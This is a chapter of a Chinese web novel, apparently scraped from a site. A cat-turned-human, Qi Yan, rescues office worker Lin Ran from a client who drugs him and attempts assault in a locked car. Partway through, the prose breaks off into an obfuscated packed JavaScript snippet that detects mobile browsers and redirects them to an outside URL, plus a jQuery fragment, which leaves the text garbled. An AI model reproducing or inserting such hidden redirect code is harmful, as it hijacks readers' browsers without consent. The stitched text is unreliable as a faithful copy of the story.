我害他无心工作了? 听到柳芳这么说,林染的嗓子异常干涩,说话的声音都变哑了,“他哭了?” “大概是。”柳芳叹气,“你是不是教训你弟弟了,他年纪小,你让让他……祁宴这个孩子就是看起来脾气坏,实际上很好说话的,哄哄就乖了……” 祁宴什么样,林染当然知道,他自诩没有人比自己更了解这只笨猫。 柳芳的语气让林染有点难受。明明他才是祁宴更亲近的人,可现在有人代替了他的位置,来劝自己不要和祁宴闹矛盾。 好像他从来都不了解祁宴任何。 本来林染对这个说法嗤之以鼻,可经历过昨晚上,林染隐约觉得,他确实丧失了“最了解祁宴的人”这个称号。 真是一个很让人不舒服的认识。 “柳姐。”林染勉强笑了笑,“我这边工作忙,我先挂了。” “诶……诶!” 柳芳坐在保姆车前座,电话刚被挂断,就看到后座刚才还安静如鸡的人突然探出脑袋,语气急促。 “怎么样……他还生气吗?” “好像……还气着。”柳芳有点头疼,“你们到底怎么了,要不你打电话给他道歉……” 祁宴还记得早上林染决绝离开的背影,他平生第一次感觉这样难过。 问林染还要不要自己。他竟然不回答。 难不成只是因为昨晚上那件事,林染就真的不打算要他了吗? 人类真是毫无责任心。 祁宴坐在后座,双手抱胸,一副生人勿进的模样。 猫尾巴拍打着座椅,发出沉闷的声响,几乎是郁闷到了极点,表情非常阴沉。 “不要。” …… 不要就不要吧,反正急的人是你。 柳芳耸了耸肩,点开通讯软件,开始今天的工作。 20. 给我滚 中午十一点,刚从隔壁城市飞回来的林染,工位上的椅子甚至都没坐热,就被领导派出去接待客户。 选取的餐厅就在公司附近,浓重的商务风,走进去后灯光昏暗,林染今天特地把备用的眼镜戴上,拦住不浅的黑眼圈,面带微笑和客户边聊边往包厢走去。 社畜就是这样,只要开始面对工作,任何私人的情绪都必须短暂遗忘。 这是可恶的社会法则,作为一个没有任何背景任人拿捏的基层小员工,林染并不能拒绝。 “小林是刚毕业吗?看起来真是很年轻。” 客户李总是一位身材高大,体型偏胖的成年男人,戴了副眼镜,穿着不合身的风衣,突然伸手,把胳膊搭在林染的肩上。 林染被这个突兀的举动弄得愣了愣,还没反应过来,对方似乎用胳膊在掂量他的脊背,肥胖的手掌快速从他后脖颈的位置揉过。 “也很瘦。” 草。 这人在干什么?有病吗? 林染瞬间起了鸡皮疙瘩,反应很快地连忙避开。 “李总。”垂下眼帘,把不适和恶心藏起来,林染勉强笑了笑,指着两人面前虚掩的包厢门,“那什么,我们到了。” 李总意有所指地扫了眼林染:“你做得不错,我待会儿和你领导夸夸你。” 做的不错?做什么了? 哪来的猥琐男,莫名其妙动手动脚,还一副上位者的姿态代替自己领导来夸他。 林染心底骂翻天,面上还得和和气气:“应该的。” 推开门,是等在里面的领导王语。两人似乎是老相识,一碰面就高声招呼彼此名字,很快就像多年未见的好兄弟那样勾肩搭背,搂在一起。 好油腻的画面。 林染一边吐槽,一边垂着头站在门边,好长一段时间王语才看到他。 “你别在这杵着,我和李总聊会儿天,你上外边坐着,吃好了来给我们开车。” “好。” 林染不着痕迹地深呼吸一口,转头往包厢外走去。 杀千刀的中年油腻老男人,合着我是来伺候你们用膳的小厮。 万恶的封建地主,职场是这世界上最恶心的地方。 一出门,林染脸上的笑瞬间消失,被臭脸替代。 离开这家和他没有半毛钱关系,忙活一上午吃不到一口热饭的商务餐厅,顺着服务员的指路,来到距离最近的便利店,准备在这里解决午饭,以及等王语的指令。 百无聊赖的时候,林染努力忘记糟糕的事,低下头看了眼手机。 平时一刻不停给他发消息的猫咪,已经五个小时都没有来烦他了。林染心里有点不是滋味,又想起走的时候祁宴着急的语气和表情,直到此刻才意识到自己确实有点心狠。 明明当初祁宴刚变成人的时候,自己还想着要循序渐进地和黏人精保持距离,现在怎么一言不合就把他一个人落在酒店跑了呢? 临走的时候还打了他的手背,不知道是不是真的肿了。 “唉……” 乱糟糟的人生,林染觉得自己有点失败,居然把日子过成了这样。 是不是他处理的方式有问题,林染有点迷茫。 他一直在很努力地学习人类社会的法则,并把自己融入进去,从被亲爸妈责怪过于冷漠的人,在他们死后,变成了一个他们口中有担当、长大了的成年人。 可是这样的笨办法只能面对不需要情感关系的任何场合,一旦林染和某些人关系突破了某种路人、朋友的边界,他就会不由自主地去逃避。 林染常常不能理解祁宴为什么会对自己这样依赖,他从没这么依赖过其他人,不大懂这会是什么感觉,只能十年如一日地去过机械的还债人生。 林染在很小的时候,就有一种和任何同龄人都格格不入的感悟。 人生有命定,半点不由人。 感情这种珍贵的东西,往往和他无关。 * 再醒来时,天色将晚。林染趴在便利店的桌上睡眼朦胧地懵了好一会儿,猛地从兜里掏出手机,是十多个未接来电。 糟了,他完全睡死过去,把领导和他的客户落在餐厅里了。 林染慌张地打电话过去,果然被骂得狗血淋头。 “你他妈是不是有病?我带你出来是让你来工作的,你哪去了?” 电话那头很是吵闹,不知道在什么不正经的场合,甚至还能听到女人的声音。林染面上眉头紧锁,但嘴上仍旧好声好气道歉。 “抱歉抱歉王总,我在外边不小心睡着了。” “睡觉?你昨天突然请假,今天回来工作一点都不专心,你要不别干了,找个厂上班得了!” 王语的声音越发大声,连电话那头的女人都不说话了,林染木着脸等他骂爽,那头的人却沉默了一会儿,再开口时,语气不再那么激烈。 “开源街尚能KTV,立马滚过来。”王语说,“要不是李总替你求情,你今天一整天的工资别想要了!” 一天两百块不到的工资,还没我们家猫餐标高,也值得他张口闭口用来威胁人。 林染冷笑两声,用手机搜了搜地址,想了想现在正是晚高峰的时候,还是打算坐地铁过去。 反正到时候搪塞他们是路上堵车了就好。 到了王语口中的KTV,跟着服务员来到包厢,还没推门就听到震耳欲聋的声音。 跑调到天边的嚎叫,简直和林染小时候农村家里养的那头早中午吃饭前都要叫两声的猪没什么区别。 林染满脸歉意地推开门道歉,正在唱歌的王语身边还坐着个衣着暴露的女人,看都没看他一眼,反倒是那个李总招呼他,让他坐在自己身边。 “抱歉抱歉李总,我的错。” 林染赶紧向他道歉。 对方用那双小眼睛看起来十分好脾气地看着林染:“没关系,年轻人嘛,我儿子就比你小几岁,天天就知道睡觉打游戏。“ 既然有人给台阶下,林染还是十分愿意配合的,就是姓李的总是会用一种让他毛骨悚然的目光打量他。 林染觉得特别不舒服。可转念又一想,自己是个男人,怕什么。 总不会有人对他一个男人出手吧? 在领导王语的催促下,林染硬着头皮陪这位客户一块儿唱了首情歌,还被塞了两杯酒,把自己膈应得够呛。 一帮人在KTV里干唱了几小时,临近晚上十点,才意犹未尽地离开。 大概是有别人在,王语没怎么和身边的女人打情骂俏,但林染好几回瞥到他借着昏暗的灯光,仗着自己多喝了几瓶酒,和女人摸来摸去。 林染心底的不适逐渐积累,小腹莫名发热,却被胃里有一股难以言说的酸意掩盖,被他硬生生憋住。 然而这场莫名其妙的应酬,却在即将结束的时候,给林染放了个大招,让他再也憋不住干呕的谷欠望。 几人离开KTV,林染本以为自己的任务总算结束,却没想到李总突然说可以开车送大家回家,给出来的理由是除了他其他两人都喝了酒。 事实上,林染已经对这种场合厌恶至极,宁愿去赶最后一趟地铁,也并不大想坐李总的车离开,可领导王语发话了,边大笑着夸奖李总为人,边指使林染上车。 很怪异,但没办法。 林染在这条名为权力的食物链最底端,成为上位者的盘中餐,他有意逃离,却被毫不留情地压制,不得不顺着领导的意愿,坐上了车。 将近十一点,李总送完了王语,再问过林染的地址后,在夜晚的霓虹灯下,一路驱车到了老城区的筒子楼附近。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13980612|148106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小区也是老小区,没有停车位,随处可见停得乱七八糟的小车和电动车,还有年久失修的路灯。 林染隔着窗看着自己十分熟悉的地方,迷迷糊糊正准备开门下车,却发现门被锁住了。 锁住了?怎么回事? “小林。”李总在驾驶座上,侧头看他,“你陪我一下。” “?”林染茫然地看着他,仿佛一只不经世事的兔子,眼底都是醉意和困意堆砌出来的粼粼水光。“我要……回家休息了。” “那我和你一起上楼。” “不行。” 林染的背已经贴到门上,虽然意识不清晰,仍旧察觉出危险。 可李总的身体,却越过中间的控制器,朝他挤过来。那双戴着眼镜的小眼睛,在夜晚的灯光下,显得格外猥琐。 林染终于意识到有问题,开始局促地去推拉车把手,却毫无反应。 “你放我下车!”声音颤抖。 “别别……小林……” 李总控制住林染乱挥的双手,汗湿的手心紧紧抓住他纤细的手腕,林染惊慌之下,对着他脸扇了一个巴掌,但因为醉酒,判断失误,没能挥出去。 “滚开!” 越来越大的手劲儿想要把林染制服,再加上药效慢慢上头,林染眼前一片昏暗。 完了,要没有力气了! 怎么回事?林染懊恼又绝望地想到离开KTV时喝的那杯酒。 酒有问题! 眼看着林染力气越来越小,被迫挤在车门和副驾驶的角落里,低着头把变态的脸往外推。可无论怎么使劲儿,李总肥胖的脸仍旧朝林染亲过来。 就在林染逐渐绝望的时刻,突然,车的正前方玻璃处传来不小的声响。 一袋垃圾砸在车玻璃上,零零散散地四散滚落,把车上激烈的动作都砸得停了下来。 在车上的人还没反应过来时,一道高挑的身影不知道从哪里冒出来,径直走向车前方,暴力地朝车头踹了震耳欲聋的一脚。 “轰”的一声,林染感觉到自己身下猛地一震,刚才还亮着的车灯熄灭了。 而小车自身的保护机制无力地发出几声机械的警告声,其他部位的车灯全部亮起,叫林染在副驾驶的位置看到了黑夜中那张被照亮的脸。 仿佛刚从地狱里被放出来的恶鬼,冷漠又阴沉。那双绿眼睛,被车灯照过,仿佛一道更为刺目的光,径直锁定副驾驶的林染。 “开门。” 不知道是对谁说,目光极为陌生。 可林染几乎是看到祁宴的下一秒,不安的心脏猛地放缓了狂跳的速度。仿佛热锅里的蚂蚱瞬间跳进了天寒地冻的雪地里,满脑子的混乱都因为这一眼被梳理干净、清晰。 林染甚至觉得自己的酒醒了,四肢百骸被灌入力气,又开始把变态往外推。 “滚开!” 而祁宴压着嗓子,在踹完人车灯后,还有功夫整理了一下自己的衣服。来到副驾驶座的窗边,伸出手缓慢地敲了敲车窗,一改刚才的汹汹气势,力度很轻。 即使被关得很紧的车窗掩盖住一半的音量,却也在此刻显得格外响亮。 林染一脚踹向已经傻掉的李总:“叫你开门!” 对方似乎是怂了,知道自己没有任何优势,又躲不开林染的反击,赶紧打开车门。 十秒后,腿有些软的林染,一推开车门,就掉进某个温暖的怀抱。搂住他的人力度很大,几乎把林染的胳膊掐疼。 可林染没有发出一点声音,忍着不适,任由祁宴捞过自己,煞气极重地越过自己的肩膀,目光冷淡地看向驾驶座上的人。 在对方惊恐的目光中,居高临下地睨着胖子,像一只刚捕食成功的豹子那样,野性十足地呲了呲牙,语气危险。 “不想死就滚蛋。”